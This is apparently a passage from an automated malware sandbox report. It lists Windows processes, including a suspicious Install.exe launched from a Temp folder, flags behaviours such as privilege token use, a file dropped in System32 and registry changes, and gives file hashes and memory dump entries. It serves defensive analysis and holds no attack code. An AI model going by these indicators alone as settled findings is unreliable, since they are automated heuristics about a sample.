1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2016

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2420

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2544

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3412

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3480
- C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Install.exe
  "C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Install.exe"
  2⤵
  PID:892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3604

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3796

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3960

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:956

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:640

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1404

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2064

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3804

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:2416

Network

MITRE ATT&CK Matrix

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Downloads

C:\Windows\Temp\__PSScriptPolicyTest_bjojyd40.y5g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/384-77-0x0000019DCB160000-0x0000019DCB18C000-memory.dmp

Filesize
176KB

Download
memory/384-85-0x0000019DCB160000-0x0000019DCB18C000-memory.dmp

Filesize
176KB

Download
memory/588-33-0x00000286B63B0000-0x00000286B63D6000-memory.dmp

Filesize
152KB

Download
memory/588-34-0x00000286B63E0000-0x00000286B640C000-memory.dmp

Filesize
176KB

Download
memory/588-35-0x00000286B63E0000-0x00000286B640C000-memory.dmp

Filesize
176KB

Download
memory/588-44-0x00007FF942AB0000-0x00007FF942AC0000-memory.dmp

Filesize
64KB

Download
memory/588-47-0x00007FF982ACD000-0x00007FF982ACE000-memory.dmp

Filesize
4KB

Download
memory/588-43-0x00000286B63E0000-0x00000286B640C000-memory.dmp

Filesize
176KB

Download
memory/676-49-0x000001EB278D0000-0x000001EB278FC000-memory.dmp

Filesize
176KB

Download
memory/676-73-0x00007FF982ACF000-0x00007FF982AD0000-memory.dmp

Filesize
4KB

Download
memory/676-57-0x000001EB278D0000-0x000001EB278FC000-memory.dmp

Filesize
176KB

Download
memory/676-58-0x00007FF942AB0000-0x00007FF942AC0000-memory.dmp

Filesize
64KB

Download
memory/744-101-0x000001A351A60000-0x000001A351A86000-memory.dmp

Filesize
152KB

Download
memory/744-712-0x000001A351A60000-0x000001A351A86000-memory.dmp

Filesize
152KB

Download
memory/960-62-0x0000024997640000-0x000002499766C000-memory.dmp

Filesize
176KB

Download
memory/960-70-0x0000024997640000-0x000002499766C000-memory.dmp

Filesize
176KB

Download
memory/960-71-0x00007FF942AB0000-0x00007FF942AC0000-memory.dmp

Filesize
64KB

Download
memory/960-74-0x00007FF982ACC000-0x00007FF982ACD000-memory.dmp

Filesize
4KB

Download
memory/1464-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1464-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1464-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1464-27-0x00007FF982A30000-0x00007FF982C25000-memory.dmp

Filesize
2.0MB

Download
memory/1464-28-0x00007FF981D80000-0x00007FF981E3E000-memory.dmp

Filesize
760KB

Download
memory/1464-30-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1464-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1464-18-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4920-17-0x00007FF981D80000-0x00007FF981E3E000-memory.dmp

Filesize
760KB

Download
memory/4920-29-0x00007FF964730000-0x00007FF9651F1000-memory.dmp

Filesize
10.8MB

Download
memory/4920-0-0x00007FF964733000-0x00007FF964735000-memory.dmp

Filesize
8KB

Download
memory/4920-16-0x00007FF982A30000-0x00007FF982C25000-memory.dmp

Filesize
2.0MB

Download
memory/4920-15-0x000002A26B8C0000-0x000002A26B8EA000-memory.dmp

Filesize
168KB

Download
memory/4920-14-0x00007FF964730000-0x00007FF9651F1000-memory.dmp

Filesize
10.8MB

Download
memory/4920-13-0x00007FF964730000-0x00007FF9651F1000-memory.dmp

Filesize
10.8MB

Download
memory/4920-12-0x00007FF964730000-0x00007FF9651F1000-memory.dmp

Filesize
10.8MB

Download
memory/4920-2-0x000002A26B750000-0x000002A26B772000-memory.dmp

Filesize
136KB

Download
memory/4920-1-0x00007FF964730000-0x00007FF9651F1000-memory.dmp

Filesize
10.8MB

Download